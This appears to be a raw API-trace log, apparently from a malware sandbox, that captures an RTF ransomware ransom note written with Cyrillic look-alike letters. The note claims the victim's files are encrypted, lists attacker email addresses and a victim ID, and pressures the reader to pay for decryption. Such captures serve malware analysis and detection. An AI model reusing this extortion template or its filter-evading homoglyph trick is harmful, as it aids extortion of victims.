d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2734c38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss 